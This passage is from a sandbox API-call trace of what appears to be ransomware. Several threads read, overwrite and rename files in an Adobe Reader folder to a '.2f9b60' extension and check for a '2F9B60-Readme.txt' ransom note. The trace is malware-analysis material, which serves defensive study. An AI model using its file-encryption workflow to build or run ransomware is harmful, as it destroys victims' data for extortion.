_Dest=0x20504010, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\59b6541ab6f.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\59b6541ab6f.2f9b60" [0128.741] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\59b6541ab6f.2f9b60", NtPathName=0x25d0f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\59b6541ab6f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205c970 [0128.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.744] NtQueryInformationFile (in: FileHandle=0x1610, IoStatusBlock=0x25d0f858, FileInformation=0x25d0f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25d0f858, FileInformation=0x25d0f868) returned 0x0 [0128.744] NtSetInformationFile (FileHandle=0x1610, IoStatusBlock=0x25d0f858, FileInformation=0x25d0f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0128.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3500) returned 1 [0128.747] FlushFileBuffers (hFile=0x1610) returned 1 [0128.749] CloseHandle (hObject=0x1610) returned 1 [0128.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20504010 [0128.751] wcscpy (in: _Dest=0x20504010, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.751] wcscat (in: _Dest=0x20504010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.751] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0128.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 Thread: id = 868 os_tid = 0x1438 [0101.048] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm")) returned 0x20 [0102.634] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm", dwFileAttributes=0x20) returned 1 [0102.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x164c [0102.653] GetFileSizeEx (in: hFile=0x164c, lpFileSize=0x25eef740 | out: lpFileSize=0x25eef740*=17082) returned 1 [0102.654] SetFilePointerEx (in: hFile=0x164c, liDistanceToMove=0x42b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.654] ReadFile (in: hFile=0x164c, lpBuffer=0x25eef6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25eef708, lpOverlapped=0x0 | out: lpBuffer=0x25eef6c0*, lpNumberOfBytesRead=0x25eef708*=0x4, lpOverlapped=0x0) returned 1 [0102.681] SetFilePointerEx (in: hFile=0x164c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0102.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260140 [0102.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0102.681] NtQuerySystemTime (in: CurrentTime=0x25eef600 | out: CurrentTime=0x25eef600*=132462177082090000) returned 0x0 [0102.681] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x540f84d3 [0102.681] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x1da59a2c [0102.681] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x12d3cd0a [0102.681] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x444f7970 [0102.681] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x69f326d8 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x5b129b36 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x7650fe11 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x1130ca5f [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x3f30cf56 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x2e4e2281 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x6eba58cc [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x8703b02 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x6a2c484a [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x1e953f76 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x1bac130 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x401fc1a6 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x61be1440 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x36457a03 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x5ab5fa7f [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x38a0392d [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0xe6500e0 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x1f3462c9 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x6263f9a6 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x6a692517 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x150d23ca [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x45f10c38 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x5f07dae3 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x51fdfbc9 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x3af6695d [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x22ade480 [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x7f13b45f [0102.682] RtlRandomEx (in: Seed=0x25eef5f0 | out: Seed=0x25eef5f0) returned 0x7ac8bcf6 [0102.690] SetFilePointerEx (in: hFile=0x164c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.690] ReadFile (in: hFile=0x164c, lpBuffer=0x202c10f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25eef660, lpOverlapped=0x0 | out: lpBuffer=0x202c10f0*, lpNumberOfBytesRead=0x25eef660*=0x3c00, lpOverlapped=0x0) returned 1 [0102.705] SetFilePointerEx (in: hFile=0x164c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0102.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0102.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0102.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0102.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202e6990 [0102.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0102.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0102.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260170) returned 1 [0102.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0102.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0102.706] WriteFile (in: hFile=0x164c, lpBuffer=0x202e6990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25eef660, lpOverlapped=0x0 | out: lpBuffer=0x202e6990*, lpNumberOfBytesWritten=0x25eef660*=0x3c00, lpOverlapped=0x0) returned 1 [0128.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e6990) returned 1 [0128.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c10f0) returned 1 [0128.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b859d30 [0128.215] SetFilePointerEx (in: hFile=0x164c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.215] WriteFile (in: hFile=0x164c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x25eef710, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x25eef710*=0x106, lpOverlapped=0x0) returned 1 [0128.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0128.217] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e00 [0128.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e00) returned 1 [0128.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0128.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e00 [0128.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e30 [0128.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e30) returned 1 [0128.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9e930 [0128.218] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="95") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="6f") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="9a") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="dc") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="00") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="95") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="70") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="dd") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="fc") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="6b") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="96") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="40") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="30") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="09") returned 2 [0128.218] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="7c") returned 2 [0128.219] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="0e") returned 2 [0128.219] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="ea") returned 2 [0128.219] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="d3") returned 2 [0128.219] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="54") returned 2 [0128.219] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="b3") returned 2 [0128.219] RtlInitAnsiString (in: DestinationString=0x25eef788, SourceString="956f9adc009570ddfc6b964030097c0eead354b3" | out: DestinationString="956f9adc009570ddfc6b964030097c0eead354b3") [0128.219] RtlAnsiStringToUnicodeString (in: DestinationString=0x25eef758, SourceString="956f9adc009570ddfc6b964030097c0eead354b3", AllocateDestinationString=1 | out: DestinationString="956f9adc009570ddfc6b964030097c0eead354b3") returned 0x0 [0128.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c370 [0128.219] wcscat (in: _Dest=0x1b85dd90, _Source="956f9adc00" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\956f9adc00") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\956f9adc00" [0128.219] wcscat (in: _Dest=0x1b85dd90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\956f9adc00.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\956f9adc00.2f9b60" [0128.219] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\956f9adc00.2f9b60", NtPathName=0x25eef730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\956f9adc00.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205c970 [0128.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.221] NtQueryInformationFile (in: FileHandle=0x164c, IoStatusBlock=0x25eef798, FileInformation=0x25eef7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25eef798, FileInformation=0x25eef7a8) returned 0x0 [0128.221] NtSetInformationFile (FileHandle=0x164c, IoStatusBlock=0x25eef798, FileInformation=0x25eef7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c370) returned 1 [0128.223] FlushFileBuffers (hFile=0x164c) returned 1 [0128.224] CloseHandle (hObject=0x164c) returned 1 [0128.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85dd90 [0128.225] wcscpy (in: _Dest=0x1b85dd90, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.225] wcscat (in: _Dest=0x1b85dd90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.225] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3500) returned 1 Thread: id = 869 os_tid = 0x143c [0101.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86e640 [0101.050] wcscpy (in: _Dest=0x1b86e640, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0101.050] wcscat (in: _Dest=0x1b86e640, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\" [0101.050] wcscat (in: _Dest=0x1b86e640, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*" [0101.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0101.050] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c250 [0102.678] wcscmp (_String1=".", _String2=".") returned 0 [0102.678] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.678] wcscmp (_String1="..", _String2=".") returned 1 [0102.678] wcscmp (_String1="..", _String2="..") returned 0 [0102.679] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0102.679] wcscmp (_String1="AiodLite.dll", _String2=".") returned 1 [0102.679] wcscmp (_String1="AiodLite.dll", _String2="..") returned 1 [0102.679] FindNextFileW (in: hFindFile=0x1cd9c250, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0102.679] FindClose (in: hFindFile=0x1cd9c250 | out: hFindFile=0x1cd9c250) returned 1 [0102.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55930) returned 1 [0102.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e640) returned 1 [0102.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864760) returned 1 Thread: id = 870 os_tid = 0x1440 [0101.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm")) returned 0x20 [0104.843] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm", dwFileAttributes=0x20) returned 1 [0105.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1654 [0105.101] GetFileSizeEx (in: hFile=0x1654, lpFileSize=0x2742fba0 | out: lpFileSize=0x2742fba0*=17032) returned 1 [0105.101] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x4284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.101] ReadFile (in: hFile=0x1654, lpBuffer=0x2742fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2742fb68, lpOverlapped=0x0 | out: lpBuffer=0x2742fb20*, lpNumberOfBytesRead=0x2742fb68*=0x4, lpOverlapped=0x0) returned 1 [0105.246] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0105.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260500 [0105.246] NtQuerySystemTime (in: CurrentTime=0x2742fa60 | out: CurrentTime=0x2742fa60*=132462177107362000) returned 0x0 [0105.246] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x143deb92 [0105.246] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x7f050eb6 [0105.246] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x535c578f [0105.246] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x5eac7181 [0105.246] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x42e0e813 [0105.246] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x5e86a77c [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x6d19c18 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x32896952 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x509bd27f [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x222c4c7b [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x3b3923ac [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x7afb8754 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x2fc60f35 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x4c227101 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x7450b076 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x2412ee03 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x51710e1 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x16d8262f [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x4e21629e [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x71a2c821 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x211d5644 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x1185000f [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x18e2c7ef [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x1b47bfab [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x1a592813 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x2e8ec7c8 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x7fae86ec [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x1c8a5527 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x36b97f66 [0105.247] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x6ec2cf9d [0105.248] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x72706227 [0105.248] RtlRandomEx (in: Seed=0x2742fa50 | out: Seed=0x2742fa50) returned 0x4d73c18a [0105.260] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.260] ReadFile (in: hFile=0x1654, lpBuffer=0x41f31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2742fac0, lpOverlapped=0x0 | out: lpBuffer=0x41f31d40*, lpNumberOfBytesRead=0x2742fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.338] SetFilePointerEx (in: hFile=0x1654, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0105.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0105.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e93cc0 [0105.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0105.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0105.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0105.339] RtlFreeHeap 